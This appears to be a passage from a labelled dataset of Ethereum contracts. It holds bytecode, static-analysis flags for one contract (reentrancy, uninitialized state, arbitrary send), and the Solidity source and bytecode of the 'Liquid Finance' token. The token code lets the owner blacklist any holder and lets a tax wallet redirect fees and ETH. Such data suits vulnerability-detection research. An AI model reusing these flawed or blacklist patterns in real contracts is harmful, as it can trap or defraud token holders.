ffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061302185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061306d816139a2565b6130778483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806130f987613868565b95509550955095509550955061315787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131ec86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061328183600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061331685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613362816139a2565b61336c8483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806133ee87613868565b95509550955095509550955061344c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134e185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061352d816139a2565b6135378483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b60098054905081101561381d578260026000600984815481106135f557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806136dc575081600360006009848154811061367457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156136fa57600a54683635c9adc5dea0000094509450505050613864565b613783600260006009848154811061370e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846138d090919063ffffffff16565b925061380e600360006009848154811061379957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836138d090919063ffffffff16565b915080806001019150506135d6565b5061383c683635c9adc5dea00000600a5461285290919063ffffffff16565b82101561385b57600a54683635c9adc5dea00000935093505050613864565b81819350935050505b9091565b60008060008060008060008060006138858a600c54600d54613b81565b9250925092506000613895612af3565b905060008060006138a88e878787613c17565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061391283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506122a3565b905092915050565b600080828401905083811015613998576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60006139ac612af3565b905060006139c382846127cc90919063ffffffff16565b9050613a1781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613b4257613afe83600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613b5c82600a546138d090919063ffffffff16565b600a81905550613b7781600b5461391a90919063ffffffff16565b600b819055505050565b600080600080613bad6064613b9f888a6127cc90919063ffffffff16565b61285290919063ffffffff16565b90506000613bd76064613bc9888b6127cc90919063ffffffff16565b61285290919063ffffffff16565b90506000613c0082613bf2858c6138d090919063ffffffff16565b6138d090919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613c3085896127cc90919063ffffffff16565b90506000613c4786896127cc90919063ffffffff16565b90506000613c5e87896127cc90919063ffffffff16565b90506000613c8782613c7985876138d090919063ffffffff16565b6138d090919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220ccf4962d97b9840030efc45f9fc295f310ef8732b532184afc23ee3e085995bf64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,341 |
0x469b458ca9026a788d82b11a2578b45f820fc61b
|
/**
*Submitted for verification at Etherscan.io on 2022-03-08
*/
//SPDX-License-Identifier: UNLICENSED
//Telegram: https://t.me/liquidfinance
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract LIQFIN is Context, IERC20, Ownable {
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
mapping (address => User) private cooldown;
uint private constant _totalSupply = 1e10 * 10**9;
string public constant name = unicode"Liquid Finance";
string public constant symbol = unicode"LiqFin";
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _TaxAdd;
address public uniswapV2Pair;
uint public _buyFee = 10;
uint public _sellFee = 15;
uint private _feeRate = 15;
uint public _maxBuyAmount;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap = false;
bool public _useImpactFeeSetter = false;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event TaxAddUpdated(address _taxwallet);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable TaxAdd) {
_TaxAdd = TaxAdd;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[TaxAdd] = true;
_isExcludedFromFee[address(0xdead)] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(!_isBot[from] && !_isBot[to] && !_isBot[msg.sender]);
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool isBuy = false;
if(from != owner() && to != owner()) {
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
if (block.timestamp == _launchedAt) _isBot[to] = true;
require(amount <= _maxBuyAmount, "Exceeds maximum buy amount.");
require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once.");
if(!cooldown[to].exists) {
cooldown[to] = User(0,true);
}
cooldown[to].buy = block.timestamp;
isBuy = true;
}
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired.");
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
uint burnAmount = contractTokenBalance/5;
contractTokenBalance -= burnAmount;
burnToken(burnAmount);
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function burnToken(uint burnAmount) private lockTheSwap{
if(burnAmount > 0){
_transfer(address(this), address(0xdead),burnAmount);
}
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_TaxAdd.transfer(amount);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyAmount = 100000000 * 10**9;
_maxHeldTokens = 200000000 * 10**9;
}
function setMaxTxn(uint maxbuy, uint maxheld) external {
require(_msgSender() == _TaxAdd);
require(maxbuy >= 100000000 * 10**9);
require(maxheld >= 200000000 * 10**9);
_maxBuyAmount = maxbuy;
_maxHeldTokens = maxheld;
}
function manualswap() external {
require(_msgSender() == _TaxAdd);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _TaxAdd);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external {
require(_msgSender() == _TaxAdd);
require(rate > 0, "can't be zero");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external {
require(_msgSender() == _TaxAdd);
require(buy < 15 && sell < 15 && buy < _buyFee && sell < _sellFee);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function toggleImpactFee(bool onoff) external {
require(_msgSender() == _TaxAdd);
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateTaxAdd(address newAddress) external {
require(_msgSender() == _TaxAdd);
_TaxAdd = payable(newAddress);
emit TaxAddUpdated(_TaxAdd);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
function setBots(address[] memory bots_) external onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external {
require(_msgSender() == _TaxAdd);
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
}
|
0x6080604052600436106101f25760003560e01c8063590f897e1161010d578063a3f4782f116100a0578063c9567bf91161006f578063c9567bf9146105af578063db92dbb6146105c4578063dcb0e0ad146105d9578063dd62ed3e146105f9578063e8078d941461063f57600080fd5b8063a3f4782f1461053a578063a9059cbb1461055a578063b515566a1461057a578063c3c8cd801461059a57600080fd5b806373f54a11116100dc57806373f54a11146104aa5780638da5cb5b146104ca57806394b8d8f2146104e857806395d89b411461050857600080fd5b8063590f897e1461044a5780636fc3eaec1461046057806370a0823114610475578063715018a61461049557600080fd5b806327f3a72a116101855780633bbac579116101545780633bbac579146103bb57806340b9a54b146103f457806345596e2e1461040a57806349bd5a5e1461042a57600080fd5b806327f3a72a14610349578063313ce5671461035e57806331c2d8471461038557806332d873d8146103a557600080fd5b8063104ce66d116101c1578063104ce66d146102c057806318160ddd146102f85780631940d0201461031357806323b872dd1461032957600080fd5b80630492f055146101fe57806306fdde0314610227578063095ea7b31461026e5780630b78f9c01461029e57600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b50610214600d5481565b6040519081526020015b60405180910390f35b34801561023357600080fd5b506102616040518060400160405280600e81526020016d4c69717569642046696e616e636560901b81525081565b60405161021e9190611a36565b34801561027a57600080fd5b5061028e610289366004611ab0565b610654565b604051901515815260200161021e565b3480156102aa57600080fd5b506102be6102b9366004611adc565b61066a565b005b3480156102cc57600080fd5b506008546102e0906001600160a01b031681565b6040516001600160a01b03909116815260200161021e565b34801561030457600080fd5b50678ac7230489e80000610214565b34801561031f57600080fd5b50610214600e5481565b34801561033557600080fd5b5061028e610344366004611afe565b610704565b34801561035557600080fd5b50610214610758565b34801561036a57600080fd5b50610373600981565b60405160ff909116815260200161021e565b34801561039157600080fd5b506102be6103a0366004611b55565b610768565b3480156103b157600080fd5b50610214600f5481565b3480156103c757600080fd5b5061028e6103d6366004611c1a565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561040057600080fd5b50610214600a5481565b34801561041657600080fd5b506102be610425366004611c37565b6107f4565b34801561043657600080fd5b506009546102e0906001600160a01b031681565b34801561045657600080fd5b50610214600b5481565b34801561046c57600080fd5b506102be610895565b34801561048157600080fd5b50610214610490366004611c1a565b6108c2565b3480156104a157600080fd5b506102be6108dd565b3480156104b657600080fd5b506102be6104c5366004611c1a565b610951565b3480156104d657600080fd5b506000546001600160a01b03166102e0565b3480156104f457600080fd5b5060105461028e9062010000900460ff1681565b34801561051457600080fd5b50610261604051806040016040528060068152602001652634b8a334b760d11b81525081565b34801561054657600080fd5b506102be610555366004611adc565b6109bf565b34801561056657600080fd5b5061028e610575366004611ab0565b610a14565b34801561058657600080fd5b506102be610595366004611b55565b610a21565b3480156105a657600080fd5b506102be610b3a565b3480156105bb57600080fd5b506102be610b70565b3480156105d057600080fd5b50610214610c12565b3480156105e557600080fd5b506102be6105f4366004611c5e565b610c2a565b34801561060557600080fd5b50610214610614366004611c7b565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561064b57600080fd5b506102be610c9d565b6000610661338484610fe3565b50600192915050565b6008546001600160a01b0316336001600160a01b03161461068a57600080fd5b600f8210801561069a5750600f81105b80156106a75750600a5482105b80156106b45750600b5481105b6106bd57600080fd5b600a829055600b81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b6000610711848484611107565b6001600160a01b0384166000908152600360209081526040808320338452909152812054610740908490611cca565b905061074d853383610fe3565b506001949350505050565b6000610763306108c2565b905090565b6008546001600160a01b0316336001600160a01b03161461078857600080fd5b60005b81518110156107f0576000600560008484815181106107ac576107ac611ce1565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107e881611cf7565b91505061078b565b5050565b6008546001600160a01b0316336001600160a01b03161461081457600080fd5b600081116108595760405162461bcd60e51b815260206004820152600d60248201526c63616e2774206265207a65726f60981b60448201526064015b60405180910390fd5b600c8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6008546001600160a01b0316336001600160a01b0316146108b557600080fd5b476108bf816116d3565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b031633146109075760405162461bcd60e51b815260040161085090611d12565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6008546001600160a01b0316336001600160a01b03161461097157600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d69060200161088a565b6008546001600160a01b0316336001600160a01b0316146109df57600080fd5b67016345785d8a00008210156109f457600080fd5b6702c68af0bb140000811015610a0957600080fd5b600d91909155600e55565b6000610661338484611107565b6000546001600160a01b03163314610a4b5760405162461bcd60e51b815260040161085090611d12565b60005b81518110156107f05760095482516001600160a01b0390911690839083908110610a7a57610a7a611ce1565b60200260200101516001600160a01b031614158015610acb575060075482516001600160a01b0390911690839083908110610ab757610ab7611ce1565b60200260200101516001600160a01b031614155b15610b2857600160056000848481518110610ae857610ae8611ce1565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610b3281611cf7565b915050610a4e565b6008546001600160a01b0316336001600160a01b031614610b5a57600080fd5b6000610b65306108c2565b90506108bf8161170d565b6000546001600160a01b03163314610b9a5760405162461bcd60e51b815260040161085090611d12565b60105460ff1615610be75760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610850565b6010805460ff1916600117905542600f5567016345785d8a0000600d556702c68af0bb140000600e55565b600954600090610763906001600160a01b03166108c2565b6008546001600160a01b0316336001600160a01b031614610c4a57600080fd5b6010805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb9060200161088a565b6000546001600160a01b03163314610cc75760405162461bcd60e51b815260040161085090611d12565b60105460ff1615610d145760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610850565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610d503082678ac7230489e80000610fe3565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d8e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610db29190611d47565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610dff573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e239190611d47565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610e70573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e949190611d47565b600980546001600160a01b0319166001600160a01b039283161790556007541663f305d7194730610ec4816108c2565b600080610ed96000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610f41573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f669190611d64565b505060095460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610fbf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f09190611d92565b6001600160a01b0383166110455760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610850565b6001600160a01b0382166110a65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610850565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff1615801561114957506001600160a01b03821660009081526005602052604090205460ff16155b801561116557503360009081526005602052604090205460ff16155b61116e57600080fd5b6001600160a01b0383166111d25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610850565b6001600160a01b0382166112345760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610850565b600081116112965760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610850565b600080546001600160a01b038581169116148015906112c357506000546001600160a01b03848116911614155b15611674576009546001600160a01b0385811691161480156112f357506007546001600160a01b03848116911614155b801561131857506001600160a01b03831660009081526004602052604090205460ff16155b156114ea5760105460ff1661136f5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610850565b600f5442141561139d576001600160a01b0383166000908152600560205260409020805460ff191660011790555b600d548211156113ef5760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e00000000006044820152606401610850565b600e546113fb846108c2565b6114059084611daf565b11156114635760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b6064820152608401610850565b6001600160a01b03831660009081526006602052604090206001015460ff166114cb576040805180820182526000808252600160208084018281526001600160a01b03891684526006909152939091209151825591519101805460ff19169115159190911790555b506001600160a01b038216600090815260066020526040902042905560015b601054610100900460ff16158015611504575060105460ff165b801561151e57506009546001600160a01b03858116911614155b156116745761152e42600f611daf565b6001600160a01b038516600090815260066020526040902054106115a05760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b6064820152608401610850565b60006115ab306108c2565b9050801561165d5760105462010000900460ff161561162e57600c54600954606491906115e0906001600160a01b03166108c2565b6115ea9190611dc7565b6115f49190611de6565b81111561162e57600c5460095460649190611617906001600160a01b03166108c2565b6116219190611dc7565b61162b9190611de6565b90505b600061163b600583611de6565b90506116478183611cca565b915061165281611881565b61165b8261170d565b505b47801561166d5761166d476116d3565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff16806116b657506001600160a01b03841660009081526004602052604090205460ff165b156116bf575060005b6116cc85858584866118b1565b5050505050565b6008546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156107f0573d6000803e3d6000fd5b6010805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061175157611751611ce1565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156117aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117ce9190611d47565b816001815181106117e1576117e1611ce1565b6001600160a01b0392831660209182029290920101526007546118079130911684610fe3565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac94790611840908590600090869030904290600401611e08565b600060405180830381600087803b15801561185a57600080fd5b505af115801561186e573d6000803e3d6000fd5b50506010805461ff001916905550505050565b6010805461ff00191661010017905580156118a3576118a33061dead83611107565b506010805461ff0019169055565b60006118bd83836118d3565b90506118cb868686846118f7565b505050505050565b60008083156118f05782156118eb5750600a546118f0565b50600b545b9392505050565b60008061190484846119d4565b6001600160a01b038816600090815260026020526040902054919350915061192d908590611cca565b6001600160a01b03808816600090815260026020526040808220939093559087168152205461195d908390611daf565b6001600160a01b03861660009081526002602052604090205561197f81611a08565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119c491815260200190565b60405180910390a3505050505050565b6000808060646119e48587611dc7565b6119ee9190611de6565b905060006119fc8287611cca565b96919550909350505050565b30600090815260026020526040902054611a23908290611daf565b3060009081526002602052604090205550565b600060208083528351808285015260005b81811015611a6357858101830151858201604001528201611a47565b81811115611a75576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146108bf57600080fd5b8035611aab81611a8b565b919050565b60008060408385031215611ac357600080fd5b8235611ace81611a8b565b946020939093013593505050565b60008060408385031215611aef57600080fd5b50508035926020909101359150565b600080600060608486031215611b1357600080fd5b8335611b1e81611a8b565b92506020840135611b2e81611a8b565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611b6857600080fd5b823567ffffffffffffffff80821115611b8057600080fd5b818501915085601f830112611b9457600080fd5b813581811115611ba657611ba6611b3f565b8060051b604051601f19603f83011681018181108582111715611bcb57611bcb611b3f565b604052918252848201925083810185019188831115611be957600080fd5b938501935b82851015611c0e57611bff85611aa0565b84529385019392850192611bee565b98975050505050505050565b600060208284031215611c2c57600080fd5b81356118f081611a8b565b600060208284031215611c4957600080fd5b5035919050565b80151581146108bf57600080fd5b600060208284031215611c7057600080fd5b81356118f081611c50565b60008060408385031215611c8e57600080fd5b8235611c9981611a8b565b91506020830135611ca981611a8b565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611cdc57611cdc611cb4565b500390565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611d0b57611d0b611cb4565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611d5957600080fd5b81516118f0